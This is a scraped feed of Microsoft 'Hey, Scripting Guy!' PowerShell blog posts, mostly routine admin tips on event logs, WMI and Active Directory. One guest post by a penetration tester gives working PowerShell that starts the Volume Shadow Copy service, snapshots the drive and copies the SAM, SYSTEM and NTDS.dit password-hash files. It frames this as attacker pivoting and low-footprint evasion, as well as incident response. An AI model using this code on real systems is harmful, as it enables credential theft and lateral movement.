Quantcast
Channel: Hey, Scripting Guy! Blog
Viewing all 3333 articles
Browse latest View live

PowerTip: Use PowerShell 3.0 in Windows 8 to Find Driver Information

$
0
0

Summary: Use Windows PowerShell 3.0 in Windows to find detailed driver information.

Hey, Scripting Guy! Question How can I obtain detailed information about a specific driver on my Windows 8 computer by using Windows PowerShell 3.0?

Hey, Scripting Guy! Answer In an elevated Windows PowerShell console, use the Get-WindowsDriver cmdlet, specify the –Online parameter, and specify the .inf file to the –Driver parameter. This example returns detailed information about the Xbox 360 controller driver for Windows:

Get-WindowsDriver -Online -Driver xusb22.inf


Using the Windows API and Copy-RawItem to Access Sensitive Password Files

$
0
0

Summary: Guest blogger, Chris Campbell, shows how to use the Windows API and Copy-RawItem to access sensitive password files.

Microsoft Scripting Guy, Ed Wilson, is here. Today we have a guest blog by Chris Campbell. Chris is a security researcher and penetration tester who has spoken at several major security conferences, such as BlackHat and Derbycon. He is a former U.S. Army officer, and he holds a master’s degree in Information Assurance from Capitol College, in addition to industry certifications, such as CISSP and MCSE. Chris contributes to the PowerSploit project, and he is a Windows PowerShell fanatic.

Chris’ contact info:

Blog: ObscureSec.com
Twitter: @obscuresec

Take it away, Chris…

In previous posts, Matt Graeber thoroughly discussed how to use Windows PowerShell to interact with the Windows API, and he wrote the example Copy-RawItem function. This function copies files by using DeviceObject paths, which is not supported by built-in cmdlets. Let’s use the function to demonstrate why the reflection method is so useful to security researchers, incident handlers, and unfortunately, hackers.

In most cases, the reflection method of interacting with the Windows API requires more code and headache. Why would anyone use it? Matt briefly mentioned that it helps minimize the forensic footprint of the script, but what does that mean and why is it important? Maintaining a minimal footprint is important to an attacker and to an incident handler.

Attackers want to remain undetected by antivirus software, avoid leaving evidence of their presence in logs, and avoid leaving other forensic artifacts. For example, the Add-Type method of interacting with the Windows API calls the C# compiler (csc.exe) and leaves several files on the disk that could be discovered. Conversely, incident handlers need to avoid alerting the attacker to their presence and corrupting potential evidence. Both sides are concerned with maintaining a minimal footprint.

Now that we know why, let’s look at a common problem and how we can use the aforementioned function to help solve it. After attackers compromise a system, they may want to pivot to other systems by utilizing the user names and passwords located on the box. Those passwords may be used on other machines, and the attacker could potentially use WMI, PsExec, or a remote desktop to gain access to other enterprise machines and (potentially) to critical business data.

In the case of a domain controller, the attacker has access to every user name and associated password hash within the domain. Or maybe you know that an attacker has changed a local account’s password, and you want to use that as a signature to detect that attacker’s presence on other machines. Either way, the safest way of gaining access to the hashes is to utilize the Volume Shadow Copy service to access the password database files. There are many other ways, but most of them involve methods that are dangerous to the stability of the system. The earliest reference to this method comes from Using Shadow Copies to Steal the SAM. However, recovering the password hashes from the files is beyond the scope of this post.

Password hashes are stored in the SAM file for most computers running Windows, and in the NTDS.DIT file for domain controllers. Both of these files are protected system files, which are locked and can’t be accessed even with full “nt authority\system” privileges.

Image of command output

We will get around this, but our first task is to figure out what type of machine we are on and what drive the system files are stored on. If we are on a domain controller, we need to figure out where the DSA database file is stored because its location is often changed to another partition. This can be accomplished by querying DomainRole from the Win32_ComputerSystem WMI class, and peaking in the registry:

#Check to see if we are on a DC

$DomainRole = (Get-WmiObject Win32_ComputerSystem).DomainRole

$IsDC = $False

  if ($DomainRole -gt 3) {

     $IsDC = $True

     $NTDSLocation = (Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\services\NTDS\Parameters)."DSA Database File"

        $FileDrive = ($NTDSLocation).Substring(0,3)

    } else {$FileDrive = $Env:HOMEDRIVE + '\'}

The best forensic situation is if the VSS service is already running and there has been a recent back-up file created. However, in the case where an attacker just changed a password, it is unlikely. We need to create a new backup or snapshot. But first, we need to check to see if the Volume Shadow Copy service is running, and if not, we need to start it. There is also a possibility that the service has been disabled, so we also need to handle that. This script requires local administrative rights on the machine to interact with services.

#Get "vss" service startup type

$VssStartMode = (Get-WmiObject -Query "Select StartMode From Win32_Service Where Name='vss'").StartMode

if ($VssStartMode -eq "Disabled") {Set-Service vss -StartUpType Manual}

 

#Get "vss" Service status and start it if not running

$VssStatus = (Get-Service vss).status

if ($VssStatus -ne "Running") {Start-Service vss}

Now, we need to take a snapshot of the system drive, collect the snapshot’s location or possibly return a meaningful error:

#Create a volume shadow filedrive

$WmiClass = [WMICLASS]"root\cimv2:Win32_ShadowCopy"

$ShadowCopy = $WmiClass.create($FileDrive, "ClientAccessible")

$ReturnValue = $ShadowCopy.ReturnValue

 

if ($ReturnValue -ne 0) {

  Write-Error "Shadow copy failed with a value of $ReturnValue"

  Return

}

   

#Get the DeviceObject Address

$ShadowID = $ShadowCopy.ShadowID

$ShadowVolume = (Get-WmiObject Win32_ShadowCopy | Where-Object {$_.ID -eq $ShadowID}).DeviceObject

Finally, we can use the Copy-RawItem function to copy the sensitive files from the snapshot to a location that we can access. We could call copy.exe via Invoke-Expression:

Invoke-Expression (cmd.exe /c copy ($SamPath) ($Path))

However, this method is far from elegant and not ideal for our intended goal. Let’s avoid calling an external binary by using the reflection example from the previous post:

  #If not a DC, copy System and SAM to specified directory

        if ($IsDC -ne $true) {

            $SamPath = Join-Path $ShadowVolume "\Windows\System32\Config\sam"

            $SystemPath = Join-Path $ShadowVolume "\Windows\System32\Config\system"

 

            #Utilizes Copy-RawItem from Matt Graeber

            Copy-RawItem $SamPath "$DestinationPath\sam"

            Copy-RawItem $SystemPath "$DestinationPath\system"

        } else {

           

            #Else copy the NTDS.dit and system files to the specified directory           

            $NTDSPath = Join-Path $ShadowVolume "\Windows\NTDS\NTDS.dit"

            $SystemPath = Join-Path $ShadowVolume "\Windows\System32\Config\system"

 

            Copy-RawItem $NTDSPath "$DestinationPath\ntds"

            Copy-RawItem $SystemPath "$DestinationPath\system"

        }    

Now we can put it all together and have a function to get passwords files:

Image of command output

The complete script is uploaded on the Scripting Guys Script Repository: Get-PasswordFile.

~Chris

Thanks, Chris! Join me tomorrow when I will talk about more cool Windows PowerShell stuff.

I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.

Ed Wilson, Microsoft Scripting Guy 

PowerTip: Use PowerShell to Round a Decimal Number

$
0
0

Summary: Use the [decimal] Windows PowerShell type accelerator to round decimal numbers.

Hey, Scripting Guy! Question How can I use Windows PowerShell to easily round a decimal number an integer?

Hey, Scripting Guy! Answer Use the Round method from the [decimal] type accelerator:

PS C:\> [decimal]::round(10.555)

11

PS C:\> [decimal]::round(10.444)

10

Weekend Scripter: Use PowerShell to Get Startup Event Log Entries

$
0
0

Summary: Microsoft Scripting Guy, Ed Wilson, talks about using Windows PowerShell to query event logs for entries created during startup.

Microsoft Scripting Guy, Ed Wilson, is here. One of the things that annoys me is when something changes on my laptop, and I know that I did not do anything to directly cause the change. Obviously, I did something—but maybe not directly. For example, if I install a piece of software, and it also installs two or three startup services that go off and do this, that, or the other, without providing me the opportunity to choose, then I have changed something, but not directly.

In fact, I would say that poorly designed, and badly behaved software, is the chief cause of me reinstalling Windows on my laptop. Whereas, I used to reinstall Windows every six months, I had have gotten away from that habit in recent years. However, all of these unintended started up services and applications, are killing the performance of my laptop. It is so bad now that I boot my laptop, and then I go do stuff. I come back, log on, and then go off and do more stuff. It is either that, or wait for about 15 minutes after logon before my laptop finally settles down enough to get some work done.

Now I do not really have to wipe and reinstall (although that is always an option). I can use the tools built-in to Windows to troubleshoot and to diagnose the culprits. For me, the chief diagnostic tool is Windows PowerShell.

Query multiple event logs

One of the best ways to troubleshoot anything in the Windows environment is to examine the appropriate event log. Unfortunately, with dozens of event logs, it is often a trick to know which log to examine. This is where Windows PowerShell shines. There are two cmdlets to work with event logs:

  • Get-EventLog: Accesses classic event logs (such as Application, System, and Security)
  • Get-WinEvent: Accesses more modern logging and tracing

Today I am going to use the Get-EventLog cmdlet and look at the classic event logs. There are more than three classic event logs. In fact, I can use the Get-EventLog cmdlet to list all available classic event logs. To do this, I supply the –List switch to the Get-EventLog cmdlet as shown here:

Get-EventLog –List

The command and the output associated with the command are shown in the following image:

Image of command output

Nearly a dozen classic event logs

So on my laptop, there are nearly a dozen classic event logs. On other computers, I have even more classic event logs. Note that the Securityevent log does not supply any information. This is because the Windows PowerShell prompt where I took the screenshot was not elevated with Admin credentials; and Admin credentials are required to read the Security event log.

If there can be as few as three or more than a dozen class event logs, how do I know which ones to query for information related to startup events? I might think that the Media Center log does not have anything, but then again it might. What if when I installed the Media Center registration code on my laptop, thereby enabling Media Center, it created some strange startup process that enumerates media files and adds them to the catalog? I am just guessing, but stranger things have happened. So I do not want to exclude that log.

The easy way to query all classic event logs

The easy way to query all classic event logs is to obtain a list of all the logs, and then feed it to the Get-EventLog cmdlet to do the query. But first, I need to get the startup time of my system, so I know where to begin my search. To get the startup time of my system, I can easily query WMI for the information. This is shown here:

$bootTime = (Get-CimInstance win32_Operatingsystem).lastbootuptime 

Now that I have the boot-up time of my computer, I can use it in a query. I want to filter event log entries that occur beginning at boot-up time, and for events that occur up to five minutes after boot. I might need to adjust this later, but this will give me something with which to work.

Because the $boottime variable contains an actual DateTime object, I can call methods on the DateTime object. I want to use the AddMinutesmethod to add five minutes to control my outer limit for event log entries. Here is the Get-EventLog query for this:

Get-EventLog -LogName $log.Log -After $bootTime -Before $bootTime.AddMinutes(5) -ea 0

So where does the EventLog name come from? I get it from the Get-EventLog–List command. I put this inside a Foreach loop. Here is that part of the command:

Foreach($log in Get-Eventlog -list)

The complete script is shown here:

$bootTime = (Get-CimInstance win32_Operatingsystem).lastbootuptime

"Boot time is $($bootTime)"

Foreach($log in Get-Eventlog -list)

 {

  "Events from $($log.Log) event log"

  Get-EventLog -LogName $log.Log -After $bootTime -Before $bootTime.AddMinutes(5) -ea 0

  }

When I run the script, the following output appears in the output pane of the Windows PowerShell ISE.

Image of command output

Well, I am going to spend some time looking over this output, and I will probably play with it later. Talk to you tomorrow.

I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.

Ed Wilson, Microsoft Scripting Guy

PowerTip: Get a List of Installed Troubleshooters

$
0
0

Summary: Use Windows PowerShell to get a list of installed troubleshooters.

Hey, Scripting Guy! Question How can I get a list of installed troubleshooters on my system by using Windows PowerShell?

Hey, Scripting Guy! Answer Use the Get-ChildItem cmdlet and look for directories in the c:\windows\diagnostics\system folder.

      • To use Windows PowerShell 3.0:

Get-ChildItem -Directory  C:\Windows\diagnostics\system

      • To use Windows PowerShell 2.0:

 Get-ChildItem  C:\Windows\diagnostics\system | where {$_.psiscontainer}

Weekend Scripter: Use PowerShell to Get Boot-Up Trace Events

$
0
0

Summary: Microsoft Scripting Guy, Ed Wilson, talks about using Windows PowerShell to get boot-up trace events.

Microsoft Scripting Guy, Ed Wilson, is here. This morning I am sipping the last of my English Breakfast tea with a little lemon grass and a crushed cinnamon stick. Not sure how I ran out of English Breakfast tea, but I did. Oh well. I still have Darjeeling tea—I just normally do not drink it first thing in the morning. I guess it is time to place an order to my favorite tea broker.

Anyway…

Anyone who knows anything about Windows knows that the three traditional event logs (System, Application, and Security) are not the be-all and end-all of logging and event gathering. For over six years, we have also had Event Tracing for Windows (ETW). Luckily, Windows PowerShell 2.0 introduced the Get-WinEvent cmdlet, which permits access to these trace logs.

Note If you actually have a boot performance issue, you may want to read Jeff Stokes' blog post How to collect a good boot trace on Windows 7.

Picking up boot up trace events

One thing to keep in mind, is that some of the trace event logs require Admin rights. Windows PowerShell does not bypass security, rather it honors it. Therefore, if I need to access trace logs that require Admin rights, the easiest way to do this is to launch Windows PowerShell with Admin rights. If I do not, I see errors, such as these:

Image of error messages

I right-click the Windows PowerShell ISE icon, and select Run as administrator:

Image of menu

Now that I have the Windows PowerShell ISE running with Admin rights, it is time to write the script.

I first obtain the boot-up time. This code is shown here:

$bootTime = (Get-CimInstance win32_Operatingsystem).lastbootuptime

"Boot time is $($bootTime)"

Now I use the Get-WinEvent cmdlet to obtain a list of all of the event trace logs. I then use the Foreach command to walk through the collection as shown here:

Foreach($log in Get-WinEvent -ListLog *)

In my script block, I first display the name of each log:

"Events from $($log.Logname) event log"

Now I use the Get-WinEvent cmdlet to get all the log entries. I use the –ea 0 parameter because an error arises if the event log does not have entries. The command is shown here:

Get-WinEvent -LogName $log.Logname -ea 0 

In the following script, I pipe the entries to a Where-Object command and filter out five minutes after boot time:

where {$_.timecreated -gt $bootTime -and $_.timecreated -lt $bootTime.AddMinutes(5)}

Here is the completed script:

$bootTime = (Get-CimInstance win32_Operatingsystem).lastbootuptime

"Boot time is $($bootTime)"

Foreach($log in Get-WinEvent -ListLog *)

 {

  "Events from $($log.Logname) event log"

  Get-WinEvent -LogName $log.Logname -ea 0 |

  where {$_.timecreated -gt $bootTime -and $_.timecreated -lt $bootTime.AddMinutes(5)}

  }

The script is a bit slow in running, and I could certainly improve the efficiency by moving the time filter to the left of the pipeline (inside the Get-WinEvent cmdlet). As it is written, it gets every entry from every log, and then it filters it. This is inefficient. What keeps it from being a real performance dog is the pipeline.

If this was a script that I wanted to run more than once, I would most certainly “fix” it and improve the performance. But for a quick script that took less than five minutes to write, it is fine. The results from running the script are shown here:

Image of command output

I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.

Ed Wilson, Microsoft Scripting Guy

PowerTip: Find the Largest Number in a PowerShell Array

$
0
0

Summary: Easily find the largest number in a Windows PowerShell array.

Hey, Scripting Guy! Question How can I use Windows PowerShell to easily find the largest number in an array of numbers?

Hey, Scripting Guy! Answer Pipe the array to the Measure-Object cmdlet, and use the –Maximum switch:

PS C:\> $a = [array]1,2,5,6,3,2,9,1

PS C:\> $a | measure -Maximum

 

Count    : 8

Average  :

Sum      :

Maximum  : 9

Minimum  :

Property :

Use PowerShell and a Filter Hash Table to Speed Boot Trace

$
0
0

Summary: Microsoft Scripting Guy, Ed Wilson, talks about using a filter hash table with Windows PowerShell to speed up boot trace parsing.

Hey, Scripting Guy! Question Hey, Scripting Guy! I don’t get it. You wrote a script yesterday, and said that the performance was bad. You suggested that you could improve the performance, but then you did not do anything about it. Why? Is it that the technique is too hard and you want to avoid work? This is disheartening to know if it is true. How about you throw us a bone so we can feed that dog of a script you wrote.

—AB

Hey, Scripting Guy! Answer Hello AB,

Microsoft Scripting Guy, Ed Wilson, is here. Well, this morning I am sipping a cup of Darjeeling tea with a bit of lemon grass, crushed cinnamon stick, and a half spoonful of spearmint. The spearmint heightens the flavor, without overpowering it. The effect is quite soothing.

AB, I am sorry you feel like I am sloughing off by not improving the performance of my previous script. It worked for me, and that was my primary concern. In addition, I have written quite a bit about improving the performance of event trace queries. The best post is How to Improve the Performance of a PowerShell Event Log Query. To test the efficacy of my changes, I use the Test-TwoScripts.ps1 script that I talked about in How Can I Test the Efficacy of My Script Modifications?

Note  This post is a continuation of Use PowerShell to Get Boot-Up Trace Events.

Using the FilterHashTable parameter

Sometimes, making a small change results in huge time savings. This script is an example. Using the FilterHashTableparameter is nearly always a good idea when it comes to filtering via the Get-WinEvent cmdlet. The key is a hash table—not surprising really. The hash table is used to filter—once again, no surprise.

A hash table has the “key = value” type of syntax. Therefore, the only thing that needs to be clarified is what can I use for a key? Luckily, these are well documented in the online Help for Get-WinEvent. Key pair values for the FilterHashTableparameter need to be one of the following:

    Key

    Value Data Type

     LogName

    <String[]>

    ProviderName

    <String[]>

    Path

    <String[]>

    Keywords

    <Long[]>

    ID

    <Int32[]>

    Level

    <Int32[]>

    StartTime

    <DateTime>

    EndTime

    <DataTime>

    UserID

    <SID>

    Data

    <String[]>

    *

    <String[]>

Using FilterHashTable for a filter

The first thing to keep in mind when using the FilterHashTable parameter for a filter is that when you use it, you must include the name of the log. This is because the parameter set that contains FilterHashTable does not also include LogName. The parameter set that includes LogName does not include the FilterHashTable parameter. These sets are shown here:

LogName:

Get-WinEvent [[-LogName] <String[]>] [-ComputerName <String>] [-Credential

<PSCredential>] [-FilterXPath <String>] [-Force [<SwitchParameter>]]

[-MaxEvents <Int64>] [-Oldest [<SwitchParameter>]] [<CommonParameters>]

FilterHashTable:

Get-WinEvent [-FilterHashtable] <Hashtable[]> [-ComputerName <String>]

[-Credential <PSCredential>] [-Force [<SwitchParameter>]] [-MaxEvents <Int64>]

[-Oldest [<SwitchParameter>]] [<CommonParameters>]

So by using the previous table, I can easily modify the Foreach portion of my script. Here is the original script:

Get-WinEvent -LogName $log.Logname -ea 0 |

  where {$_.timecreated -gt $bootTime -and $_.timecreated -lt $bootTime.AddMinutes(5)}

Here is the modified script:

Get-WinEvent -ea 0 -filterHashTable @{

    LogName = $log.Logname;

    StartTime = $bootTime;

    EndTime = $bootTime.AddMinutes(5)}

Not only does the script run a lot faster, but the FilterHashTable script is easier to read. Here is the complete, revised script:

$bootTime = (Get-CimInstance win32_Operatingsystem).lastbootuptime

"Boot time is $($bootTime)"

Foreach($log in Get-WinEvent -ListLog *)

 {

  "Events from $($log.Logname) event log"

    Get-WinEvent -ea 0 -filterHashTable @{

    LogName = $log.Logname;

    StartTime = $bootTime;

    EndTime = $bootTime.AddMinutes(5)}

  } 

Tracking the changes

So how did the changes do? Well, the original script took an average of 595 seconds to complete—that is nearly 10 minutes. The revised script took an average of 10 seconds to run!

Image of command output

And it did not take all that long to make the change. In fact, it took me less than three minutes to change it. The cool part is that the change took less than half the time it took for the script to run. Bottom line, do not be afraid of FilterHashTable. Use it all the time. Filter to the left of the pipeline, not to the right of the pipeline.

AB, that is all there is to using the FilterHashTable parameter to improve the performance of a Windows PowerShell event script. Join me tomorrow when I will talk about other cool Windows PowerShell stuff.

I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.

Ed Wilson, Microsoft Scripting Guy


PowerTip: Find PowerShell Cmdlets that Accept Hash Table Input

$
0
0

Summary: Find Windows PowerShell cmdlets that accept a hash table for input.

Hey, Scripting Guy! Question How can I find what Windows PowerShell cmdlets accept a hash table for input?

Hey, Scripting Guy! Answer Use the Get-Command cmdlet, use the ParameterName parameter, and search for HashTable information:

Get-Command -ParameterName *hashtable* 

Query Multiple WMI Classes but Return One Object with PowerShell

$
0
0

Summary: Microsoft Scripting Guy, Ed Wilson, shows how to query multiple WMI classes with Windows PowerShell and return a single object.

Hey, Scripting Guy! Question Hey, Scripting Guy! I have this script that I have been working on for a while. It queries three different WMI classes. The first two classes are no problem because they only return a single item—for instance, information about the computer or the operating system. But the last class returns information from the disk drives. I have multiple disk drives; therefore, as my script is written now, I keep repeating the computer and the operating system information over and over. I know I am doing something wrong, but I am not sure what to do. Please help.

—FB

Hey, Scripting Guy! Answer Hello FB,

Microsoft Scripting Guy, Ed Wilson, is here. Today has been one of those days. You know the kind of day: an early morning meeting before breakfast, several meetings in the afternoon, and then another meeting after supper in the evening. Yep, a day’s worth of meetings always offers unique opportunities and challenges.

Between meetings, I check email that comes to scripter@microsoft.com. Personally, I do not check email during meetings because I consider it rude to the presenter. But maybe that is just me. If I attend a meeting, I feel that I should pay attention—or else I do not need to be in the meeting in the first place.

Hmm… something on the forums

FB, interestingly enough, there is a question similar to yours, but not exact, on the Official Scripting Guys Forum. Your problem is that you are trying to create a single object from within your script, yet you are returning multiple objects. In addition, your operating system information and your computer information is a single object, but you have multiple objects that represent your disk drives. This results in a ragged object. The way your script currently works, everything is inside the loop, and you return the same information multiple times. The key is to use Begin, Process, and End in your script.

Begin at the beginning

The Begin section of a script runs one time. This is a great place to put things that you want to use to initialize the script—or things that you do not need to process after you receive the information. In this script, I perform two WMI queries and create a hash table. The two WMI queries obtain computer and operating system information. The hash table is to be used to create a custom object at the end of the script. The Begin keyword accepts a script block (delimited by a pair of curly brackets).

Begin {

 [wmi]$os = Get-WmiObject -Class win32_operatingsystem

 [wmi]$cs = Get-WmiObject -Class win32_computersystem

 [hashtable]$osProperties = @{

    'OSVersion'=$os.version;

    'OSBuild'=$os.buildnumber;

    'SPVersion'=$os.servicepackmajorversion;

    'Model'=$cs.model;

    'Manufacturer'=$cs.manufacturer;

    'RAM'=$cs.totalphysicalmemory / 1GB -as [int];

    'Sockets'=$cs.numberofprocessors;

    'Cores'=$cs.numberoflogicalprocessors;

    'SystemType'=$cs.SystemType}}

Process stuff

The Process portion of the script runs one time for each object it must process. If there are no objects, the Process section does not run. In this portion of the script, the drives return an array of drive objects. The size, the freespace, and the percent of utilization become custom properties on the objects. This is the script that accomplishes this portion of the task:

Process {

[array]$disks = Get-WmiObject -Class win32_logicaldisk -filter 'drivetype = 3' |

  Select-Object -Property `

   @{L = 'size'; E = {[math]::Round($_.size /1gb,2)} } ,

   @{L = 'free'; E ={[math]::Round($_.freespace /1gb,2)}},

   @{L = 'percent'; E = {[math]::Round(($_.freespace/$_.size)*100,2)}} }

The end

The End keyword, like the Begin keyword, specifies the section of the script that runs one time. This time, however, the section runs one time after the process section. The hash table created in the Begin section is now used to add the disk information to the object. Finally, a new PSCustomObject is created and the properties added. This is the script that accomplishes this task:

End {

  [hashtable]$osproperties.Add('disks',$disks)

  New-Object -TypeName PSCustomObject -Property $osProperties } 

When the script runs, the following results appear:

Image of command output

FB, that is all there is to using multiple WMI classes in the same script. Join me tomorrow when I will talk about more cool Windows PowerShell stuff.

I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.

Ed Wilson, Microsoft Scripting Guy 

PowerTip: Use PowerShell to Check String for a Match

$
0
0

Summary: Learn how to check a string to see if it contains another string.

Hey, Scripting Guy! Question How can I use Windows PowerShell to check a string to see if it contains another string?

Hey, Scripting Guy! Answer Use the –Match operator:

PS C:\> $a = [string]"This string contains a number of letters"

PS C:\> $a -match 'a number'

True

Set Telephone Numbers for All Users in an OU via PowerShell

$
0
0

Summary: Microsoft Scripting Guy, Ed Wilson, talks about using Windows PowerShell to set office telephone numbers for all users in an organizational unit.

Hey, Scripting Guy! Question Hey, Scripting Guy! I have a problem. We just moved our offices to a new location, and now the phone numbers stored in Active Directory are wrong. I need to at least update the phone numbers to reflect the new switchboard numbers so callers could use the directory produced by our phone switch to access user’s offices. Help please.

I do not have weeks to do this. To be honest, I have been putting it off because I am afraid it will be a huge pain to do. I do not like ADSI scripting, but I really do not have the time to click and update over a hundred accounts in Active Directory Users and Computers, even if I can just cut and paste the numbers.

Oh, we are running Windows Server 2008 for our Active Directory server, and I believe our consultant installed the Active Directory Management Gateway…or some such thing. I know I have RSAT installed on my laptop running Windows 8, so if you can come up with some sort of Windows PowerShell script, it would be great. Thanks.

—MG

Hey, Scripting Guy! Answer Hello MG,

Microsoft Scripting Guy, Ed Wilson, is here. It feels like I have been out in Redmond, Washington for the last couple of weeks—it has rained every day for two weeks straight. The only difference is that the temperature has remained high, which means the rain makes steam when it hits the hot roads and sidewalks. Needless to say, I have not be going out much (just to the Charlotte Windows PowerShell Users group meetings). I have a treadmill, so I do not need to go outside and run in the rain for exercise. I do like to go out to the lanai and watch the rain (it is more interesting than most television shows these days). Now I am relaxing with a cup of Gun Powder Green tea with a cinnamon stick and lemon grass, and I am using my Windows Surface RT to check my scripter@microsoft.com email.

MG, your problem is a simple one. No script required.

Find all user names and telephone numbers

In Windows Server 2008, you need to install the Active Directory Management Gateway Service. This is detailed in the following Hey, Scripting Guy blog: Install Active Directory Management Service for Easy PowerShell Access.

In later server Windows Server versions, no additional changes are required. Next, you need to install the Remote Server Administration Tools (RSAT) on your computer. This depends on the version of the operating system that you have installed. Here is the link to download the tools for Windows 8: Remote Server Administation Tools for Windows 8.

When these two requirements are met, you can use the cmdlets from the Active Directory module. The two cmdlets I use today are Get-ADUser and Set-ADUser. To find a list of users from a specific organizational unit (OU) that lists the user name and the telephone number, I use the following command:

PS C:\> get-aduser -Filter * -SearchBase "ou=testou,dc=iammred,dc=net" -Properties telephonenumber | select name, telephonenumber

 

name                                       telephonenumber

----                                       ---------------

newtestuser70

newtestuser71

newtestuser72

newtestuser73

So for now, there are no telephone numbers associated with any of the users in the TestOU. The Get-ADUser cmdlet is very easy to use. I specify the filter of * so I get all users back. Next, I specify the target organizational unit as the SearchBase. TelephoneNumber is not an automatically returned property; therefore, I need to specify it via the –Properties property.

Set a telephone number

The easy thing here is that only the switchboard telephone number needs to be added in the office telephone number field. This field is shown in the following image:

Image of menu

Luckily, the Set-ADUser cmdlet has an –OfficePhone parameter that makes it really easy to set the office telephone number. It even accepts pipelined input. The command is shown here:

get-aduser -Filter * -SearchBase "ou=testou,dc=iammred,dc=net" | Set-ADUser -OfficePhone 555-555-1212

The thing that is a bit confusing is that the Active Directory Users and Computers utility displays a Telephone number: field. ADSI edit shows a telephoneNumber attribute as follows:

Image of menu

But the Set-ADUser cmdlet uses a parameter called OfficeTelephone. In addition, when retrieving the TelephoneNumber attribute, I must specify TelephoneNumber. Hmmm, it could be a bit confusing—at least to me. Oh well. Here is the Windows PowerShell command I use to check to ensure that the command worked:

get-aduser -Filter * -SearchBase "ou=testou,dc=iammred,dc=net" -Properties telephonenumber |

select name, telephonenumber

The command and associated output are shown here:

Image of command output

Groovy. It works. So I think I will go back to watching the rain.

MG, that is all there is to using Windows PowerShell to add office switchboard telephone numbers to all your users in a particular OU. Join me tomorrow when I will talk about more cool Windows PowerShell stuff.

I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.

Ed Wilson, Microsoft Scripting Guy 

PowerTip: Use PowerShell to Return Random Computer Names

$
0
0

Summary: Learn how to use Windows PowerShell to return random computer names from Active Directory.

Hey, Scripting Guy! Question How can I easily obtain random computer names in Active Directory for audit purposes?

Hey, Scripting Guy! Answer Use the Get-ADComputer cmdlet and pipe the results to the Get-Random cmdlet. The following script selects two random computer names from Active Directory.

Get-ADComputer -Filter * | Get-Random -Count 2

Use PowerShell to Set AD DS Users’ Display Names

$
0
0

Summary: Microsoft Scripting Guy, Ed Wilson, shows how to use Windows PowerShell to set the users’ display names in Active Directory Domain Services.

Hey, Scripting Guy! Question Hey, Scripting Guy! I have a number of user names that were hastily created. I thought at first they were going to be temporary workers, but it seems that temporary is hanging around a lot longer than previously anticipated. This is actually causing issues with some of our Active Directory queries, because empty strings return when we were expecting data. I am wondering if there is an easy way to populate the display name— it would be fine to make it the same as the user name. I just need to get this done, and I do not want to spend a lot of time with it. Can you help me?

—HH

Hey, Scripting Guy! Answer Hello HH,

Microsoft Scripting Guy, Ed Wilson, is here. This afternoon, it has not rained. In fact, it has not rained for two days. It must be some sort of record. Anyway, I am sipping a cup of Gun Powder Green Tea with a spoonful of lemon grass, a crushed cinnamon stick, a spoonful of rose hips, and a spoonful of Jasmine flowers. I let it steep for four minutes, and it is a lovely, light, and refreshing flavor. The tea is the perfect companion for doing a little bit of Active Directory Domain Services (AD DS) work.

Query AD DS

The first thing I always do is query AD DS to see what sort of data I have. This is easy to do when using Windows PowerShell and the Active Directory module. Here is the command I use to query for UserName and DisplayName:

Get-ADUser -SearchBase 'ou=testou,dc=iammred,dc=net' -Filter * -Properties displayname | select name, displayname

The output is shown here:

PS C:\> Get-ADUser -SearchBase 'ou=testou,dc=iammred,dc=net' -Filter * -Properties di

splayname | select name, displayname

 

name                                       displayname

----                                       -----------

newtestuser70

newtestuser71

newtestuser72

newtestuser73

<truncated>

Set DisplayName

To set the DisplayName attribute to be the same as the user name, I can pipe the results from the Get-ADUser cmdlet to the Set-ADUser cmdlet. The thing that is great about this is that the Set-ADUser cmdlet has a parameter for DisplayName, and this it makes it really easy. Here is the command I tried first:

Get-ADUser -SearchBase 'ou=testou,dc=iammred,dc=net' -Filter * -Properties displayname | Set-ADUser -DisplayName $_.name

But this command does not work, because the value of $_ is null here. Therefore, when I use the Up arrow to check my results, it comes up empty as shown here:

PS C:\> Get-ADUser -SearchBase 'ou=testou,dc=iammred,dc=net' -Filter * -Properties di

splayname | select name, displayname

 

name                                       displayname

----                                       -----------

newtestuser70

newtestuser71

newtestuser72

<truncated>

Well, I decide to try it without the $_ to see if the cmdlet is smart enough to pick up the Name property directly without the assistance of $_. So here is the command I use:

Get-ADUser -SearchBase 'ou=testou,dc=iammred,dc=net' -Filter * -Properties displayname | Set-ADUser -DisplayName name

Now I check the results, and they are exactly what I was afraid of the first time—I have a bunch of names. See for yourself:

PS C:\> Get-ADUser -SearchBase 'ou=testou,dc=iammred,dc=net' -Filter * -Properties di

splayname | select name, displayname

 

name                                       displayname

----                                       -----------

newtestuser70                              name

newtestuser71                              name

newtestuser72                              name

newtestuser73                              name

<truncated>

So I try one more time. I assume that this command will work, but I was hoping that I could directly pipe to the Set-ADUser cmdlet without slowing things down with a Foreach-Object cmdlet (% is the alias). Here is the command:

Get-ADUser -SearchBase 'ou=testou,dc=iammred,dc=net' -Filter * -Properties displayname | % {Set-ADUser -Identity $_ -DisplayName $_.name}

As I expected, the command worked properly. Here are the results:

PS C:\> Get-ADUser -SearchBase 'ou=testou,dc=iammred,dc=net' -Filter * -Properties di

splayname | select name, displayname

 

name                                       displayname

----                                       -----------

newtestuser70                              newtestuser70

newtestuser71                              newtestuser71

newtestuser72                              newtestuser72

newtestuser73                              newtestuser73

<truncated>

So all-in-all…not bad. It took me like less than three minutes to perform this task. It would have taken even less time if I went with what I suspected would have been the command in the first place. But hey, that is how one learns (or at least the way I learn—I just try it and see what happens).

HH, that is all there is to using Windows PowerShell to set the display names of all your users in a particular organizational unit to be the same as the user names. Join me tomorrow when I will talk about more cool Windows PowerShell stuff.

